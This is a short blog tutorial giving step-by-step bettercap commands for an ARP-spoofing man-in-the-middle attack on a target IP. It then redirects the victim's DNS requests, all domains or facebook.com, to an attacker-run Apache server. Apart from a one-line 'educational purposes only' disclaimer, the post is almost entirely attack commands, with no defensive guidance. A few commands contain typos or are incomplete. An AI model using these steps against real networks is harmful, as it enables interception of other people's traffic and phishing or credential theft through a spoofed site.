DNS Spoofing And Redirecting Requests Of A Website To Another Url

Updated: Mar 30




DNS SPOOFING


THIS TUTORIAL IS ONLY FOR EDUCATION PURPOSES ONLY AND PLEASE DO USE IT FOR EDUCATIONAL PURPOSES ONLY



Step 1:

First, you will need to run bettercap tool on your terminal so type this below command.

sudo bettercap -iface wlan0


Step 2:

Now type the below command’s on your bettercap terminal one by one



net.probe on 
net.recon on 
set arp.spoof.fullduplex true 
set arp.spoof.targets ( Your target IP ) 
arp.spoof on s
et net.sniff.local true 
net.sniff on

Step 3:

Once you type this above all commands then open a new terminal and start your apache server so type this below command on your terminal.


sudo apache2 start

If start the apache server on your terminal it will execute on your local IP address so you type your IP address on your browser so now you can see your server. Now we replace this apache server with any web server.

Step 4:

After that type this below command on your bettercap terminal. this command will help you to redirect all your victim requests into your apache server


set dns.spoof.all

If you need to spoof a particular domain means type this below type of command on your bettercap terminal. Now I need to spoof the Facebook domain means


set dns.spoof.domains facebook.com,*.facebook.com


After type this above command on your terminal then enable dns.spoof module


dns.spoof on



Techtronics101

Hi, thanks for stopping by!

HI!! Our main goal for this website and our channel is to teach and educate everyone on cybersecurity for free. I will upload all my new tutorials and new courses on my blog and on my Youtube Channel. 

Join us in the general discussions to get answers to your queries from the community.
​Sign up here and subscribe to my Youtube channel to stay updated.

Let the posts
come to you.

Thanks for submitting!

  • Facebook
  • Instagram
  • Twitter
  • Pinterest